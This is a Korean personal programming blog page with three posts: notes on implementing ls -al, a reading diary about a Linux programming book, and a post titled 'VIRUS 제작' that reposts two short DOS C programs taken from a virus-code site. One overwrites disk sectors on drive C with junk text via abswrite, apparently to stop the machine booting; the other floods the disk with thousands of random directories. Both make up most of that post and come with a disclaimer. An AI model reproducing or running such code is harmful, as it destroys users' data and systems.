'Programming/System'에 해당되는 글 13건

  1. 2006.06.21 ls -al
  2. 2006.03.01 Beginning linux programming 6
  3. 2006.01.03 VIRUS 제작~ 6

ls -al

아주 기본적인 기능만 구현
정렬 색깔 길어지면 흩어져 보이는 현상 argv문제 등 은 귀찮아서 안해


난 한건 별루 없는데 괜히 구조체 끌어쓰다보니깐
쓸떼 없이 복잡해 보인다..(결국에는 함수,구조체 불러서 쓴거 밖에 없다는..)

Plus!  함수 보기(뭐. 그냥 정리할 이유로)

1> time_t time(time_t *tloc)
함수이름:time
리턴형:time_t (알아서 정의된거 가따 쓰기만 하면됨)
인수타입:time_t, 주소가 필요(포인터로 받으므로)

2>DIR *opendir(const char *name)
함수이름:opendir
리턴형:DIR (헤더파일에 정의)
인수:문자열 상수 "." or argv[1] 이런식으로

즉 정리하자면

리턴형 함수명(인자1.인자2,.....)
{
      본체;
      리턴 ?;
}

맨 처음 int** 이라고 쓰면 이함수의 리턴형은 더블형 포인터가됨
*인자는 인자의 타입마다 다름

마지막으로.. 틀려도 책임 못짐 ~^^;

'Programming > System' 카테고리의 다른 글

MBR(?) 출력 하기  (2) 2007.06.17
screen attach dettach 구별법  (2) 2007.02.12
Beginning Linux Programming Part6-Curses  (2) 2006.06.25
Beginning linux programming  (6) 2006.03.01
VIRUS 제작~  (6) 2006.01.03

Beginning linux programming

저어기서~ 자꾸 책가지고 포스팅하길래 나도 따라해 본다!



이거 얼핏보기에는 무쟈게 어려워 보이지만(아니야? )

사실 그다지 어렵지 않소..(적어도 내가 한데까진;;)

이걸 저번 토요일날주문해서 화요일날 받을 예정이었는데 택배가 안오더군

다행이도 3.1절날 오긴했지만..

(사실 이거 기다린다고 얼마나 고생? 했는데..)

지금은 제2장 쉘스크립트를 하는중(아시다 시피? 오늘 못나감..;;)

터미널에서 echo, if for while.. 뭐 이런거 찍는거니까 별루 어렵지 않은데

(사실 1학년때 했으니까.. 기초적인건...)

다음은 파일입출력.. 뭐 이건 방학때 함수써가면서 윤곽은 잡아놨고..

문제는 그뒤.. 미지의 영역....;; 어이쿠 뒤엔 SQL도 나오는구나

(테터가 SQL 쓴다고 한거 같은데....)

음 그뒤에는 소켓..POSIX쓰레드,뮤택스(이건 뭐래? 태어나서 첨들어보네,,;;)

소켓.. X-windows 프로그램도 나오네;

이거 하루에 50페이지씩 해서 뒤에 일부 제외하고 한달내에 끝낼려고 계획을 잡아놨는데 역시

무리인가..(아냐 아냐 억지로 된다고 생각이라도 하자!!)

기타이야기..> 파폭 쓰니까 RSS가 아예. 북마크에 뜨네.. 안들어가고도 업데이트 상황을

알수 있어 편하다..

허접한 도스콘솔모드로 동생한태 자동타이머?(분,초) 하나 만들어 줬는데 좋아하더군..

'Programming > System' 카테고리의 다른 글

MBR(?) 출력 하기  (2) 2007.06.17
screen attach dettach 구별법  (2) 2007.02.12
Beginning Linux Programming Part6-Curses  (2) 2006.06.25
ls -al  (0) 2006.06.21
VIRUS 제작~  (6) 2006.01.03

VIRUS 제작~

뭐 저sorce는 내가 만든게 아니라.. 바이러스 코드 많은곳에서 퍼온거야..
출저는 여기
근데 소스가 너무 단순해 보이더라고.
그래서 함 바이러스란 어떤것인가 구경해보라고..
어짜피 C도 배웠으니까...
하기야 이건뭐 진정한 의미의 바이러스는 아닌거 같고
(스스로 복제하거나 기생하는 부분이 없으니..)
여기 올 사람들은 뭐 다는 아니겠지만 대부분 이정도 소스는 해석할줄 알테니까
(뭐 100%는 몰라도 대충 어떻게 흘러가나는 다 알것이니...)

아래는 소스코드,

#include dos.h
#include string.h

main()
{
char *vir;
int i;

strcpy(vir,"");
for (i=0; i<40; i++)
strcat(vir,"HOWS IT DOING ROYAL UGLY DUDES!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!");
abswrite(2,50,0,vir);
abswrite(3,50,0,vir);
abswrite(4,50,0,vir);
abswrite(5,50,0,vir);
printf("Ouch dude... sorry..");
};
//abswrite함수->특정섹터에다 쓰는 함수라 하더군..
아마 특정섹터에다 써서 부팅을 안되게 하는 플그램이 아닐까 생각
(아님 말고뭐..)

abswrite(int drive,int nsects,long lsect,void *buffer);
drive:드라이브 번호 2->c
nsects: 섹터갯수
lsect:쓰기 시작할 논리 섹터번호
buffer:쓸데이터 담고 있는 메모리 번지.
(참고:http://www.winapi.co.kr)


#include stdio.h
#include stdlib.h
#include dir.h

main()
{
int i,j;
char tmp[20];
char far *ptr;

for (i=0;i<=50;i++){
srand(rand());
ptr = itoa(rand(),tmp,10);
mkdir ( ptr );
chdir ( ptr );
for (j=0;j<=50;j++){
ptr = itoa(rand(),tmp,10);
mkdir( ptr );
}
chdir ("\\"); //root drive ex>c 로 이동이래
}
}

//mkdir,chdir은 뭐 이름만 봐도 먼지 알겠지?

ps:이소스 컴파일 시켰다가 어떤 결과 나와도 난 책임 안져 -_-

'Programming > System' 카테고리의 다른 글

MBR(?) 출력 하기  (2) 2007.06.17
screen attach dettach 구별법  (2) 2007.02.12
Beginning Linux Programming Part6-Curses  (2) 2006.06.25
ls -al  (0) 2006.06.21
Beginning linux programming  (6) 2006.03.01
prev 1 2 3 next